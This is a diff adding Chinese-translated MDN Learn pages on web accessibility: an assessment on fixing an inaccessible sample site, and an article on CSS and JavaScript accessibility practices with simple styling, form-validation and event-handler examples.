diff options
Diffstat (limited to 'files/zh-cn/learn')
265 files changed, 76975 insertions, 0 deletions
diff --git a/files/zh-cn/learn/accessibility/accessibility_troubleshooting/index.html b/files/zh-cn/learn/accessibility/accessibility_troubleshooting/index.html new file mode 100644 index 0000000000..c7fdf045ba --- /dev/null +++ b/files/zh-cn/learn/accessibility/accessibility_troubleshooting/index.html @@ -0,0 +1,101 @@ +--- +title: 'Assessment: Accessibility troubleshooting' +slug: learn/Accessibility/Accessibility_troubleshooting +translation_of: Learn/Accessibility/Accessibility_troubleshooting +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</div> + +<p class="summary">In the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>基础的计算机知识,对HTML,CSS和JavaScript有基础的理解,理解<a href="/zh-CN/docs/Learn/Accessibility">本课程的前期内容</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解可访问性的基础知识。</td> + </tr> + </tbody> +</table> + +<h2 id="开始之前">开始之前</h2> + +<p>To get this assessment started, you should go and grab the <a href="https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true">ZIP containing the files that comprise the example</a>. Decompress the contents into a new directory somewhere on your local computer.</p> + +<p>The finished assessment site should look like so:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14555/assessment-site-finished.png" style="border-style: solid; border-width: 1px; display: block; height: 457px; margin: 0px auto; width: 800px;"></p> + +<p>You will see some differences/issues with the display of the starting state of the assessment — this is mainly due to the differences in the markup, which in turn cause some styling issues as the CSS is not applied properly. Don't worry — you'll be fixing these problems in the upcoming sections!</p> + +<h2 id="项目简要">项目简要</h2> + +<p>For this project, you are presented with a fictional nature site displaying a "factual" article about bears. As it stands, it has a number of accessibility issues — your task is to explore the existing site and fix them to the best of your abilities, answering the questions given below.</p> + +<h3 id="颜色">颜色</h3> + +<p>The text is difficult to read because of the current color scheme. Can you do a test of the current color contrast (text/background), report the results of the test, and then fix it by changing the assigned colors?</p> + +<h3 id="Semantic_HTML">Semantic HTML</h3> + +<ol> + <li>The content is still not very accessible — report on what happens when you try to navigate it using a screenreader.</li> + <li>Can you update the article text to make it easier for screenreader users to navigate?</li> + <li>The navigation menu part of the site (wrapped in <code><div class="nav"></div></code>) could be made more accessible by putting it in a proper HTML5 semantic element. Which one should it be updated to? Make the update.</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: You'll need to update the CSS rule selectors that style the <font> tags to their proper equivalents for the semantic headings. Once you add paragraph elements, you'll notice the styling looking better.</font></p> +</div> + +<h3 id="The_images"><font>The images</font></h3> + +<p><font>The images are currently inaccessible to screenreader users. Can you fix this?</font></p> + +<h3 id="The_audio_player"><font>The audio player </font></h3> + +<ol> + <li><font>The <code><audio></code> player isn't accessible to hearing impaired (deaf) people — can you add some kind of accessible alternative for these users?</font></li> + <li><font>The <code><audio></code> player isn't accessible to those using older browsers that don't support HTML5 audio. How can you allow them to still access the audio?</font></li> +</ol> + +<h3 id="The_forms"><font>The forms</font></h3> + +<ol> + <li><font>The <code><input></code> element in the search form at the top could do with a label, but we don't want to add a visible text label that would potentially spoil the design and isn't really needed by sighted users. How can you add a label that is only accessible to screenreaders?</font></li> + <li><font>The two <code><input></code> elements in the comment form have visible text labels, but they are not unambiguously associated with their labels — how do you achieve this? Note that you'll need to update some of the CSS rule as well.</font></li> +</ol> + +<h3 id="The_showhide_comment_control"><font>The show/hide comment control</font></h3> + +<p><font>The show/hide comment control button is not current keyboard-accessible. Can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key?</font></p> + +<h3 id="The_table"><font>The table</font></h3> + +<p><font>The data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows. Can you add some features to your HTML to fix this problem?</font></p> + +<h3 id="Other_considerations"><font>Other considerations?</font></h3> + +<p><font>Can you list two more ideas for improvements that would make the website more accessible?</font></p> + +<h2 id="Assessment"><font>Assessment</font></h2> + +<p><font>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the </font><a href="https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691">discussion thread for this exercise</a><font>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</font></p> + +<p><font>{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}</font></p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> +</ul> diff --git a/files/zh-cn/learn/accessibility/css和javascript/index.html b/files/zh-cn/learn/accessibility/css和javascript/index.html new file mode 100644 index 0000000000..bdc3b01b2e --- /dev/null +++ b/files/zh-cn/learn/accessibility/css和javascript/index.html @@ -0,0 +1,367 @@ +--- +title: CSS 和 JavaScript 无障碍最佳实践 +slug: learn/Accessibility/CSS和JavaScript +tags: + - CSS + - hiding + - unobtursive + - 初学者 + - 对比 + - 导航 + - 文章 + - 无障碍 + - 编码脚本 + - 颜色 +translation_of: Learn/Accessibility/CSS_and_JavaScript +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> + +<p class="summary">当CSS和JavaScript使用得当,很有可能改善Web访问体验,相反如果滥用的话,则会极大的损害可访问性。本文概述了一些应该被考虑的CSS和JavaScript 的最佳实践,这些实践保证了即使是复杂的内容也可以尽可能容易的被访问。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">准备:</th> + <td> + <p>基本的计算机读写能力,对HTML、CSS和JavaScript的基本理解,以及对<a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">可访问性</a>的理解。</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉在 Web 文档中适当地使用 CSS 和 JavaScript,以最大限度地提高可访问性,并且不损害它。</td> + </tr> + </tbody> +</table> + +<h2 id="CSS和JavaScript是可访问的吗?">CSS和JavaScript是可访问的吗?</h2> + +<p>CSS和JavaScript对于作为HTML的可访问性没有直接的重要性,但是它们仍然能够帮助或破坏可访问性,这取决于它们是如何使用的。换句话说,重要的是考虑一些最佳实践建议,以确保使用CSS和JavaScript不会破坏文档的可访问性。</p> + +<h2 id="CSS">CSS</h2> + +<p>让我们从CSS开始吧!</p> + +<h3 id="正确的语义和用户期望">正确的语义和用户期望</h3> + +<p>可以使用 CSS 使任何 HTML 元素看起来像任何东西,但这并不意味着您应该这样做。正如我们经常提到的<a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a>,您应该尽可能为作业使用适当的语义元素。如果不这样做,它可能会导致混乱和可用性问题,对每个人,尤其是残障用户。使用正确的语义与用户期望有很大的帮助 –– 元素的外观和功能会根据它们的功能进行某些方式的显示,而且用户期望这些常见的约定。</p> + +<p>例如,如果开发人员没有适当地使用标题元素标记内容,则屏幕阅读器用户无法通过标题元素导航页面。同样,如果对标题进行样式设置,则标题将失去其视觉目的,使其看起来不像标题。</p> + +<p>经验法则是,您可以更新页面功能的样式以适应您的设计,但不要更改它太多,使其不再按预期的外观或活动。以下各节总结了要考虑的主要 HTML 功能。</p> + +<h4 id="“标准”的内容结构">“标准”的内容结构</h4> + +<p>标题、段落、列表和页面的核心文本内容:</p> + +<pre class="brush: html notranslate"><h1>Heading</h1> + +<p>Paragraph</p> + +<ul> + <li>My list</li> + <li>has two items.</li> +</ul></pre> + +<p>一些典型的 CSS 如下所示:</p> + +<pre class="brush: css notranslate">h1 { + font-size: 5rem; +} + +p, li { + line-height: 1.5; + font-size: 1.6rem; +}</pre> + +<p>你应该:</p> + +<ul> + <li>选择合理的字体大小、行高、字母间距等,使文本具有逻辑性、清晰性和阅读舒适性。</li> + <li>确保标题从正文文本中脱颖而出,通常像默认样式一样大而粗壮。您的列表应类似于列表。</li> + <li>文本颜色应与背景颜色形成良好对比。</li> +</ul> + +<p>有关详细信息,请参阅 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>和<a href="/en-US/docs/Learn/CSS/Styling_text">Styling text</a> 。</p> + +<h4 id="强调的文本">强调的文本</h4> + +<p>内联标记,赋予其包裹的文本特别强调:</p> + +<pre class="brush: html notranslate"><p>The water is <em>very hot</em>.</p> + +<p>Water droplets collecting on surfaces is called <strong>condensation</strong>.</p></pre> + +<p>您可能希望向强调的文本添加一些简单的颜色:</p> + +<pre class="brush: css notranslate">strong, em { + color: #a60000; +}</pre> + +<p>但是,您很少需要以任何显著的方式设置强调元素的样式。粗体和斜体文本的标准约定非常容易识别,更改样式可能会导致混淆。有关强调的更多信息,请参阅<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">Emphasis and importance</a>。</p> + +<h4 id="缩写">缩写</h4> + +<p>允许缩写、首字母缩略词或初始化与其扩展关联的元素:</p> + +<pre class="brush: html notranslate"><p>Web content is marked up using <abbr title="Hypertext Markup Language">HTML</abbr>.</p></pre> + +<p>同样,您可能希望以某种简单方式设置样式:</p> + +<pre class="brush: css notranslate">abbr { + color: #a60000; +}</pre> + +<p>缩写的公认样式约定是虚线下划线,偏离这一原则明显是不明智的。有关缩写的更多,请参阅<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">Abbreviations</a>。</p> + +<h4 id="链接">链接</h4> + +<p>超链接 — 您到达新网站的方式:</p> + +<pre class="brush: html notranslate"><p>Visit the <a href="https://www.mozilla.org">Mozilla homepage</a>.</p></pre> + +<p>一些非常简单的链接样式如下所示:</p> + +<pre class="brush: css notranslate">a { + color: #ff0000; +} + +a:hover, a:visited, a:focus { + color: #a60000; + text-decoration: none; +} + +a:active { + color: #000000; + background-color: #a60000; +}</pre> + +<p>标准链接约定为下划线,标准状态为不同颜色(默认:蓝色),以前访问过链接时另一种颜色变化(默认:紫色),以及激活链接时的另一种颜色(默认:红色)。此外,当链接被鼠标悬停时,鼠标指针将变为指针图标,并且链接在聚焦(例如通过 tabbing)或激活时变成高亮。下图显示了 Firefox(虚线轮廓)和 Chrome(蓝色轮廓)中的高光:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14371/focus-highlight-firefox.png" style="display: block; height: 173px; margin: 0px auto; width: 319px;"></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14369/focus-highlight-chrome.png" style="display: block; height: 169px; margin: 0px auto; width: 309px;"></p> + +<p>您可以使用链接样式进行创意,只要用户在与链接交互时不断提供反馈即可。当状态发生变化时,确实应该发生某些情况,并且不应删除指针光标或大纲 - 对于使用键盘控件的人来说,两者都是非常重要的辅助功能。</p> + +<h4 id="表单元素">表单元素</h4> + +<p>允许用户将数据输入到网站的元素:</p> + +<pre class="brush: html notranslate"><div> + <label for="name">Enter your name</label> + <input type="text" id="name" name="name"> +</div></pre> + +<p>您可以在我们的<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html">form-css.html</a> 示例中看到一些很好的示例 CSS(<a href="http://mdn.github.io/learning-area/accessibility/css/form-css.html">查看示例</a>)。</p> + +<p>您将为表单编写的大多数 CSS 将用于调整元素大小、排列标签和输入,以及让它们看起来整洁。</p> + +<p>但是,您不应过多偏离元素在聚焦时接收的预期视觉反馈表单,这与链接基本相同(见上文)。您可以设置焦点/悬停状态样式,使这种行为在浏览器中更加一致,或者更适合您的页面设计,但不要完全摆脱它 ––同样,人们依靠这些线索来帮助他们了解发生了什么。</p> + +<h4 id="表格">表格</h4> + +<p>用于显示表格数据的表。</p> + +<p>您可以在<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html">table-css.html</a>示例中看到表 HTML 和 CSS 的一个很好的简单示例(<a href="http://mdn.github.io/learning-area/accessibility/css/table-css.html">查看示例</a>)。</p> + +<p>表 的CSS 通常使表更适合您的设计,看起来不那么难看。最好确保表标题醒目(通常使用粗体),并使用斑马条带化使不同的行更易于解析。</p> + +<h3 id="颜色和颜色对比度">颜色和颜色对比度</h3> + +<p>为网站选择配色方案时,请确保文本(前景)颜色与背景颜色对比度良好。您的设计可能看起来很酷,但如果有视觉障碍(如色盲)的人无法阅读您的内容,则设计就无一好可做。</p> + +<p>有一个简单的方法来检查您的对比度是否足够大,不会引起问题。有许多对比检查工具可以在线输入您的前景和背景颜色,以检查它们。例如,WebAIM 的颜色对比度检查器易于使用,并说明了您需要满足有关颜色对比度的 WCAG 标准的内容。</p> + +<div class="note"> +<p><strong>注意:</strong>高对比度还允许任何使用带有光面屏幕的智能手机或平板电脑的人在明亮的环境中(如阳光)更好地阅读页面。</p> +</div> + +<p>另一个提示是不要仅仅依靠颜色来提供路标/信息,因为对于那些看不到颜色的人来说,这没有什么用。例如,不要用红色标记所需的表单字段,而是用星号和红色标记它们。</p> + +<h3 id="隐藏的东西">隐藏的东西</h3> + +<p>在很多情况下,可视化设计需要并非同时显示所有内容。例如,在我们的<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a> (请参阅<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">源码</a>),我们有三个信息面板,但我们将它们放在彼此之上,并提供可以单击以显示每个选项卡的选项卡(也可以使用键盘 - 您也可以使用 Tab 和 Enter/Return以选择它们)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> + +<p>屏幕阅读器用户并不关心这些内容 , 只要资源的顺序有意义,他们就对内容感到满意, 并且他们可以获得所有内容。绝对定位(如本示例所示)通常被视为隐藏内容以进行视觉效果的最佳机制之一,因为它不会阻止屏幕阅读器访问它。</p> + +<p>另一方面,不应使用 {{cssxref("visibility")}}<code>:hidden</code>或 {{cssxref("display")}}<code>:none</code>,因为它们会隐藏屏幕阅读器中的内容。当然,除非您希望从屏幕阅读器中隐藏此内容,这是有充分理由的。</p> + +<div class="note"> +<p><strong>注意:</strong><span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a></span>有围绕本主题的更多有用详细信息。</p> +</div> + +<h3 id="接受用户覆盖样式">接受用户覆盖样式</h3> + +<h4 id="接受用户覆盖您的样式">接受用户覆盖您的样式</h4> + +<p>用户可以使用自己的自定义样式覆盖样式,例如:</p> + +<ul> + <li>请参阅 Sarah Maddox 的<a class="external external-icon" href="https://www.itsupportguides.com/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-firefox/" rel="noopener">How to use a custom style sheet (CSS) with Firefox</a> 以获得有用的指南(介绍了如何在 Firefox 中手动执行此操作),以及Adrian Gordon的<a href="https://www.itsupportguides.com/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/">How to use a custom style sheet (CSS) with Internet Explorer</a>是介绍关于 IE 浏览器类似文章。</li> + <li>使用扩展程序可能更容易,例如,时尚扩展适用于 <a href="https://addons.mozilla.org/en-US/firefox/addon/stylish/">Firefox</a>、<a href="https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45">Safari</a>、<a href="https://addons.opera.com/en/extensions/details/stylish/">Opera</a> 和 <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Chrome</a>。</li> +</ul> + +<p>用户可能出于各种原因执行此操作。视力受损的用户可能希望使其访问的所有网站上的文本变大,严重色缺乏(severe color difeciency)的用户可能希望将所有网站置于易于查看的高对比度颜色中。无论需要什么,您都应该对此感到满意,并使您的设计足够灵,以便此类更改在您的设计中起作用。例如,您可能希望确保主要内容区域可以处理较大的文本(可能它将开始滚动以允许查看所有文本),并且不会只是隐藏它,或者完全中断。</p> + +<h2 id="JavaScript">JavaScript</h2> + +<p>JavaScript 还可能会中断可访问性,具体取决于其使用方式。</p> + +<p>现代 JavaScript 是一种功能强大的语言,如今我们可以使用它,从简单的内容和 UI 更新到成熟的 2D 和 3D 游戏。没有任何规则规定所有内容都必须对所有人 100% 可访问 ––您只需尽力而为,并使你的应用尽可能可访问。</p> + +<p>简单的内容和功能可以说是很容易使访问 - 例如文本,图像,表格,窗体和按钮,激活功能。正如我们在 <a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a>文中提到的,主要注意事项包括:</p> + +<ul> + <li>良好的语义:为正确的工作使用正确的元素。例如,确保您使用标题和段落,以及 {{htmlelement("button")}}和 {{htmlelement("a")}} 元素</li> + <li>确保内容以文本形式提供,要么直接作为文本内容、表单元素的良好文本标签,也可以确保 <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">text alternatives</a>(例如图像的 alt 文本)。</li> +</ul> + +<p>我们还查看了如何使用 JavaScript 在缺少功能的地方构建的示例 , 请参阅 <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a>。这不是理想的 - 实际上,你应该只使用正确的元素为正确的作业 –– 但它表明在情况下它是可能的,由于某种原因,你不能控制使用的标记。提高非语义 JavaScript 支持的小部件的可访问性的另一种方法是使用 WAI-ARIA 为屏幕阅读器用户提供额外的语义。下一篇文章还将详细介绍这一点。</p> + +<p>复杂的功能,如3D游戏是不容易提高可访问性的 ––使用<a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>创建的复杂3D游戏将在 {{htmlelement("canvas")}}元素上呈现,该元素目前没有提供文本替代或其他信息的功能视障用户使用。可以说,这样的游戏并没有真正有这群人作为它的主要目标观众的一部分,这将是不合理的,期望你使它100%访问盲人,但你可以实现键盘控制,所以它可以使用非鼠标用户,并使配色方案的对比度足以让有颜色缺陷的人使用。</p> + +<h3 id="太多JavaScript导致的问题">太多JavaScript导致的问题</h3> + +<p>过于依赖JavaScript会导致许多问题。有时你会看到一个网站,其中一切都已经用JavaScript完成 ––JavaScript生成HTML,CSS等等。随之而来,会出现各种可访问性问题,因此这样做是不建议的。</p> + +<p>正确的工作需要使用正确的元素和技术!仔细考虑:消息框是否必须用JavaScript 3D实现,纯文本是否就刚好。仔细考虑是否需要复杂的非标准表单小部件,或者文本输入是否就行。如果可能,不要使用 JavaScript 生成所有 HTML 内容。</p> + +<h3 id="保持别抢眼">保持别抢眼</h3> + +<p>在创建内容时,应牢记 <strong>unobtrusive </strong> <strong> JavaScript</strong>原则。unobtrusive JavaScript 的想法是,它应该尽可能用于增强功能,而不是完全构建它 - 基本功能最好在没有 JavaScript 的情况下正常工作,尽管人们认识到,这并不总是一个选项。但同样,它的大部分是尽可能使用内置的浏览器功能。</p> + +<p>unobtrusive JavaScript 使用的良好示例包括:</p> + +<ul> + <li>提供客户端表单验证,它快速提醒用户表单条目出现的问题,而无需等待服务器检查数据。如果表单不可用,则窗口仍然有效,但验证速度可能较慢。</li> + <li>为 HTML5 <code><video></code>s提供自定义控件,这些控件仅供键盘用户访问,以及如果 JavaScript 不可用(默认 <code><video></code>浏览器控件在大多数浏览器中无法使用键盘访问),就直接通过链接访问视频。</li> +</ul> + +<p id="Client-side_form_validation">例如,我们编写了一个快速而糟糕的客户端客户端表单验证示例 — 请参<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a>(<a href="http://mdn.github.io/learning-area/accessibility/css/form-validation.html">see the demo live</a>)。在示例中,你会看到一个简单的表格;当您尝试提交一个或两个字段为空的表单时,提交将失败,并且会出现一个错误消息框,告诉您出了什么问题。</p> + +<p>这种表单验证并不引人注目 - 在 JavaScript 不可用的情况下,您仍然可以很好的使用表单,并且任何合理的表单实现都将激活服务器端验证,因为恶意用户很容易绕过客户端验证(例如,通过在浏览器中关闭 JavaScript)。客户端验证对于报告错误仍然非常有用 ––用户可以立即了解他们所犯的错误,而不必等待到服务器的往返和页面重新加载。这是一个明确的可用性优势。</p> + +<div class="note"> +<p><strong>注意:</strong>此简单示例中尚未实现服务器端验证。</p> +</div> + +<p>我们使此表单验证非常容易访问。我们使用 {{htmlelement("label")}}元素来确保表单标签明确链接到其输入,因此屏幕阅读器可以一起读取它们:</p> + +<pre class="brush: html notranslate"><label for="name">Enter your name:</label> +<input type="text" name="name" id="name"></pre> + +<p>我们仅在提交表单时执行验证— 这样,我们就不会过于频繁地更新 UI,并可能混淆屏幕阅读器(可能还有其他)用户:</p> + +<pre class="brush: js notranslate">form.onsubmit = validate; + +function validate(e) { + errorList.innerHTML = ''; + for(var i = 0; i < formItems.length; i++) { + var testItem = formItems[i]; + if(testItem.input.value === '') { + errorField.style.left = '360px'; + createLink(testItem); + } + } + + if(errorList.innerHTML !== '') { + e.preventDefault(); + } +}</pre> + +<div class="note"> +<p><strong>注意</strong>:在此示例中,我们使用绝对定位而不是其他方法(如可见性或显示)隐藏和显示错误消息框,因为它不会干扰屏幕阅读器从中读取内容。</p> +</div> + +<p>实际表单验证会比这复杂得多 - 您需要检查输入的名称实际上看起来像一个名称,输入的年龄实际上是一个数字,并且与真实情况符合(例如,不是负数或四位数字)。在这里,我们刚刚实现了一个简单的验证,是否将值填充到每个输入字段(<code>if(testItem.input.value === '')</code>)。</p> + +<p>执行验证后,如果测试通过,则提交表单。如果存在错误(<code>if(errorList.innerHTML !== '')</code>) ,则我们停止表单提交(使用<code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code>),并显示已创建的任何错误消息(见下文)。此机制意味着只有存在错误时才会显示错误消息,这是一个明确的可用性优势。</p> + +<p>对于提交表单时没有填写值的每个输入,我们创建一个包含链接的列表项,并将其插入到<code> errorList </code>中。</p> + +<pre class="brush: js notranslate">function createLink(testItem) { + var listItem = document.createElement('li'); + var anchor = document.createElement('a'); + anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.'; + anchor.href = '#' + testItem.input.name; + anchor.onclick = function() { + testItem.input.focus(); + }; + listItem.appendChild(anchor); + errorList.appendChild(listItem); +}</pre> + +<p>每个链接都有双重用途 - 它不仅告诉您错误是什么,而且可以单击它/激活它直接跳转到有问题的输入元素,并且更正输入。</p> + +<div class="note"> +<p><strong>注意</strong>:此示例的 <code>focus() </code>部分有点棘手。Chrome 和 Edge(以及较新版本的 IE)将在单击链接时聚焦元素,而无需<code>onclick</code>/<code>focus()</code>代码块。Safari 只会突出显示表单元素,并自行显示链接,因此需要 <code>onclick/focus()</code>代码块来实际聚焦它。Firefox 没有在上下文中正确的聚焦输入,因此 Firefox 用户目前无法利用这一点(尽管其他一切都正常)。Firefox 问题应该尽快会得到修复 — 现在的工作是使 Firefox 行为与其他浏览器的行为相同(参见 {{bug(277178)}})。</p> +</div> + +<p>此外,<code>errorField </code>被放置在源顺序的顶部(与 UI 中使用 CSS时相比,位置不同),这意味着用户可以准确找出表单提交时的问题,并通过返回到页面的开头,来获悉有问题的输入元素。</p> + +<p>最后,我们在演示中使用了一些 WAI-ARIA 属性,以帮助解决因为内容区域不断更新而未重新加载页面,导致的辅助功能问题(默认情况下,屏幕阅读器不会选取该属性或提醒用户):</p> + +<pre class="notranslate"><div class="errors" role="alert" aria-relevant="all"> + <ul> + </ul> +</div></pre> + +<p>我们将在下一篇文章中解释这些属性,其中将更详细地介绍 <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> 。</p> + +<div class="note"> +<p><strong>注意</strong>:一些人可能会考虑这样一个事实,即 HTML5 表单有内置的验证机制,如<code>required</code>, <code>min</code>/<code>minlength</code>和<code>max</code>/<code>maxlength</code>属性(详细信息,请参阅 {{htmlelement("input")}}元素引用)。我们最终没有在演示中使用这些功能,因为不是所有的浏览器都支持(例如,仅 IE10 及以上版本支持,Safari不支持)。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>WebAIM 的<a href="http://webaim.org/techniques/formvalidation/">Usable and Accessible Form Validation and Error Recovery</a>提供了一些有关可访问表单验证的更多的有用信息。</p> +</div> + +<h3 id="其他_JavaScript_可访问性问题">其他 JavaScript 可访问性问题</h3> + +<p>在实现 JavaScript 和考虑可访问性时,还有其他需要注意的事项。一旦发现将会添加更多。</p> + +<h4 id="鼠标特定事件">鼠标特定事件</h4> + +<p>正如你所知,客户端JavaScript使用事件处理程序,实现大多数用户交互,它允许我们运行函数以响应某些事件的发生。某些事件可能有辅助功能问题。您将遇到的主要示例是鼠标特定的事件,如鼠标悬停( <a href="/en-US/docs/Web/Events/mouseover">mouseover</a>)、鼠标划出(<a href="/en-US/docs/Web/Events/mouseout">mouseout</a>)、双击(<a href="/en-US/docs/Web/Events/dblclick">dblclick</a>) 等。使用其他机制(如键盘控件)无法访问为这些事件而运行的功能。</p> + +<p>为了缓解此类问题,您应该将这些事件与可以通过其他方式(所谓的设备独立事件处理程序)激活的类似事件相结合 —— <a href="/en-US/docs/Web/Events/focus">focus</a>和<a href="/en-US/docs/Web/Events/blur">blur</a>将为键盘用户提供可访问性。</p> + +<p>让我们看一个示例:突出显示了何时可能有用。我们想要实现一个缩略图:当鼠标悬停或聚焦在图像上,可以放大图像(正如电子商务产品目录所展示的)。</p> + +<p>我们做了一个非常简单的示例,您可以在<a href="http://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html">mouse-and-keyboard-events.html</a> 中找到(另请参阅<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html">源码</a>)。该代码具有显示和隐藏放大图像的两个函数;它由以下几行行实现,这些行将它们设置为事件处理程序:</p> + +<pre class="brush: js notranslate">imgThumb.onmouseover = showImg; +imgThumb.onmouseout = hideImg; + +imgThumb.onfocus = showImg; +imgThumb.onblur = hideImg;</pre> + +<p>当鼠标指针在缩略图上悬停或者移开,将分别调用前两行代码。此时不允许我们通过键盘访问缩略图 —— 为了允许这一点,我们调用后两行代码,它们在图像聚焦和失焦时(聚焦停止)运行函数。这可以在图像加tab键实现,因为我们为图像的属性设置<code>tabindex="0"</code>。</p> + +<p><a href="/en-US/docs/Web/Events/click">Click</a> 事件很有趣 ––听起来它依赖于鼠标,但是大多数的浏览器,在有焦点的链接或者表单元素上,按下 enter/return 之后,或者在触屏设备上点击一个元素,都将会激活 <a href="/en-US/docs/Web/API/GlobalEventHandlers/onclick">onclick</a> 事件处理程序。但是,当您允许非默认可聚焦事件使用 tabindex 进行焦点处理时,默认情况下不起作用 , 在这种情况下,您需要在按下确切键时进行专门检测(请参阅<a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a>)。</p> + +<h2 id="总结">总结</h2> + +<p>我们希望这篇文章在网页设计中关于CSS和JavaScript的无障碍问题提供了足够多的细节。</p> + +<p>下一篇内容是,WAI-ARIA!</p> + +<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> + +<div> +<h2 id="在本模块中">在本模块中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">什么是无障碍?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS和JavaScript无障碍的最佳实践</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA 基础知识基础知识</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Multimedia">无障碍的多媒体</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Mobile">移动端无障碍</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">无障碍故障排除</a></li> +</ul> +</div> diff --git a/files/zh-cn/learn/accessibility/html_colon_为可访问性提供一个良好的基础/index.html b/files/zh-cn/learn/accessibility/html_colon_为可访问性提供一个良好的基础/index.html new file mode 100644 index 0000000000..beeb753338 --- /dev/null +++ b/files/zh-cn/learn/accessibility/html_colon_为可访问性提供一个良好的基础/index.html @@ -0,0 +1,542 @@ +--- +title: 'HTML: 为可访问性提供一个良好的基础' +slug: 'learn/Accessibility/HTML:为可访问性提供一个良好的基础' +translation_of: Learn/Accessibility/HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div> + +<p class="summary">在网页开发的过程中,用正确的HTML标签来表达正确的意图,可以提升网页的可访问性。这篇文章将会详细介绍如何最大化地提升网页的可访问性。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>有一定的HTML基础(可参阅 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML入门</a>),理解<a 